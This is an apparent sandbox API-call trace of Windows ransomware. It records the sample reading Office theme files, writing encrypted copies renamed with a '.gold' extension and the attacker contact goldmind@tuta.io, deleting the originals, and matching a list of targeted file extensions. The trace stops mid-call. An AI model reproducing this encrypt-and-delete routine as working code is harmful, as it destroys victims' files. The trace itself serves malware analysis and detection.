[0042.567] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.567] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.569] GetLastError () returned 0x0 [0042.569] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x58f, lpOverlapped=0x0) returned 1 [0042.571] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x590, lpOverlapped=0x0) returned 1 [0042.572] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.572] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.572] SetEndOfFile (hFile=0x1f4) returned 1 [0042.572] CloseHandle (hObject=0x1f4) returned 1 [0042.572] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.572] SetEndOfFile (hFile=0x18c) returned 1 [0042.573] CloseHandle (hObject=0x18c) returned 1 [0042.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.573] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0042.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.573] lstrlenW (lpString=".doc") returned 4 [0042.573] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.573] lstrlenW (lpString=".docx") returned 5 [0042.573] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.573] lstrlenW (lpString=".pdf") returned 4 [0042.573] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.573] lstrlenW (lpString=".xls") returned 4 [0042.573] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.573] lstrlenW (lpString=".xlsx") returned 5 [0042.573] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.573] lstrlenW (lpString=".ppt") returned 4 [0042.573] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.573] lstrlenW (lpString=".zip") returned 4 [0042.573] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.573] lstrlenW (lpString=".rar") returned 4 [0042.573] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.573] lstrlenW (lpString=".bz2") returned 4 [0042.573] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.573] lstrlenW (lpString=".7z") returned 3 [0042.573] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.573] lstrlenW (lpString=".dbf") returned 4 [0042.573] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".1cd") returned 4 [0042.574] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".jpg") returned 4 [0042.574] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".doc") returned 4 [0042.574] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.574] lstrlenW (lpString=".docx") returned 5 [0042.574] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.574] lstrlenW (lpString=".pdf") returned 4 [0042.574] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString=".xls") returned 4 [0042.574] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString=".xlsx") returned 5 [0042.574] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.574] lstrlenW (lpString=".ppt") returned 4 [0042.574] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".zip") returned 4 [0042.574] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString=".rar") returned 4 [0042.574] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.574] lstrlenW (lpString=".bz2") returned 4 [0042.574] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.574] lstrlenW (lpString=".7z") returned 3 [0042.574] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".dbf") returned 4 [0042.574] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".1cd") returned 4 [0042.574] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0042.574] lstrlenW (lpString=".jpg") returned 4 [0042.574] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.574] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.574] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.575] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=15737) returned 1 [0042.575] CloseHandle (hObject=0x18c) returned 1 [0042.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0042.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.575] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.575] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.575] GetLastError () returned 0x0 [0042.575] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0042.577] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0042.578] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.578] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.578] SetEndOfFile (hFile=0x1f4) returned 1 [0042.578] CloseHandle (hObject=0x1f4) returned 1 [0042.578] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.578] SetEndOfFile (hFile=0x18c) returned 1 [0042.579] CloseHandle (hObject=0x18c) returned 1 [0042.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.579] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0042.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.579] lstrlenW (lpString=".doc") returned 4 [0042.579] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.579] lstrlenW (lpString=".docx") returned 5 [0042.579] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.580] lstrlenW (lpString=".pdf") returned 4 [0042.580] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString=".xls") returned 4 [0042.580] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".xlsx") returned 5 [0042.580] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.580] lstrlenW (lpString=".ppt") returned 4 [0042.580] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".zip") returned 4 [0042.580] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".rar") returned 4 [0042.580] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".bz2") returned 4 [0042.580] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString=".7z") returned 3 [0042.580] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".dbf") returned 4 [0042.580] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".1cd") returned 4 [0042.580] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".jpg") returned 4 [0042.580] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".doc") returned 4 [0042.580] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString=".docx") returned 5 [0042.580] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.580] lstrlenW (lpString=".pdf") returned 4 [0042.580] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString=".xls") returned 4 [0042.580] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".xlsx") returned 5 [0042.580] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.580] lstrlenW (lpString=".ppt") returned 4 [0042.580] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".zip") returned 4 [0042.580] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".rar") returned 4 [0042.580] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.580] lstrlenW (lpString=".bz2") returned 4 [0042.580] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString=".7z") returned 3 [0042.580] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".dbf") returned 4 [0042.580] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.580] lstrlenW (lpString=".1cd") returned 4 [0042.581] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0042.581] lstrlenW (lpString=".jpg") returned 4 [0042.581] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.581] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.581] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.581] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3970) returned 1 [0042.581] CloseHandle (hObject=0x18c) returned 1 [0042.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0042.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.581] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.581] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.583] GetLastError () returned 0x0 [0042.583] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xf82, lpOverlapped=0x0) returned 1 [0042.592] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0042.594] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.594] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.594] SetEndOfFile (hFile=0x1f4) returned 1 [0042.595] CloseHandle (hObject=0x1f4) returned 1 [0042.595] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.595] SetEndOfFile (hFile=0x18c) returned 1 [0042.595] CloseHandle (hObject=0x18c) returned 1 [0042.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".doc") returned 4 [0042.596] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.596] lstrlenW (lpString=".docx") returned 5 [0042.596] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.596] lstrlenW (lpString=".pdf") returned 4 [0042.596] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString=".xls") returned 4 [0042.596] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString=".xlsx") returned 5 [0042.596] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.596] lstrlenW (lpString=".ppt") returned 4 [0042.596] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".zip") returned 4 [0042.596] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString=".rar") returned 4 [0042.596] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString=".bz2") returned 4 [0042.596] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.596] lstrlenW (lpString=".7z") returned 3 [0042.596] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".dbf") returned 4 [0042.596] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".1cd") returned 4 [0042.596] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".jpg") returned 4 [0042.596] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.596] lstrlenW (lpString=".doc") returned 4 [0042.596] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.596] lstrlenW (lpString=".docx") returned 5 [0042.596] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.597] lstrlenW (lpString=".pdf") returned 4 [0042.597] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.597] lstrlenW (lpString=".xls") returned 4 [0042.597] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.597] lstrlenW (lpString=".xlsx") returned 5 [0042.597] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.597] lstrlenW (lpString=".ppt") returned 4 [0042.597] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.597] lstrlenW (lpString=".zip") returned 4 [0042.597] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.597] lstrlenW (lpString=".rar") returned 4 [0042.597] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.597] lstrlenW (lpString=".bz2") returned 4 [0042.597] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.597] lstrlenW (lpString=".7z") returned 3 [0042.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.597] lstrlenW (lpString=".dbf") returned 4 [0042.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.597] lstrlenW (lpString=".1cd") returned 4 [0042.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0042.597] lstrlenW (lpString=".jpg") returned 4 [0042.597] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.597] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.597] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.597] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2604) returned 1 [0042.597] CloseHandle (hObject=0x18c) returned 1 [0042.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0042.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 